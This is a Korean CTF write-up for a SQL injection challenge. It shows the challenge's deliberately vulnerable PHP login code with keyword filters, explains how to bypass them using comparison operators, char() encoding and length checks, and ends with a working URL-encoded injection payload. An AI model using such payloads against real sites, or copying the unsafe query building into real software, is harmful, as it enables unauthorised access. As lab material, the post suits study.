본문 바로가기
CTF_write_up/h3xor

H3XOR_simple sqli2

by 강깅꽁 2017. 1. 8.

<?php
@extract($_GET);
@
extract($_POST);
@
extract($_SESSION);
$flag "???????";
include 
'./db2.php';
if(isset(
$_GET['id']) && isset($_GET['pw'])) {
    if(
preg_match("/admin| |\t|\'|unoin|select|_|=|like|[*]|\(\)|or|\/|and|limit/i"$_GET['id'])) die("No Hack ~_~");
    else if(
preg_match("/admin| |\t|\'|u|in|select|_|=|like|ascii|\(\)|or|\/|and|limit|0/i"$_GET['pw'])) die("No Hack ~_~");

    
$id $_GET['id'];
    
$pw $_GET['pw'];
    
$query "select * from login2 where id=ord(trim('{$id}')) and ord(trim('{$pw}'))";
    echo 
"<hr><b>".$query."</b><hr><br><br>";
    
$result $mysqli->query($query);
    
$result = @mysqli_fetch_array($result);
    if (
$result['id'] === 'admin') {
        die(
$flag);
    } else if(isset(
$result['id'])) {
        echo 
"<h1>Hello {$result['id']}</h1>";
    }
}

highlight_file(__FILE__);
//made by ch4n3
?>


이전 sqli1보다 달라진 부분은 in과 0을 필터링 하고 있다.

다른 방법으로 admin을 가져와야 한다.


< > <=와 같은 비교연산자를 통해서 admin의 정보를 가져올 수 있다. 하지만 =를 쓰지 못하기 때문에 < > 와 같은 비교연산자만 써야한다.

테이블에 cdmin adadmin afmin등이 존재 햇기 때문에 admin만을 가져오기는 쉽지 않았다.

먼저 cdmin을 걸러주기 위해 id>char(96,100,109,111,100)을 햇다. 또한 admin은 5글자 이기 때문에 length(id)<length(char(97,97,97,97,97,97))을 이용 햇다.


afmin이 잇지만 다음과 같이 최종쿼리를 완성 시키면 admin만 가져올 수 있다.


최종 쿼리

id=asdf\&pw=))%7c%7cid>char(96,99%2b1,111-2,111-6,111-1)%26%26id<%0achar(97,99%2b1,111-1,111-5,111)%26%26length(id)<%0alength(char(97,97,97,97,97,97))%23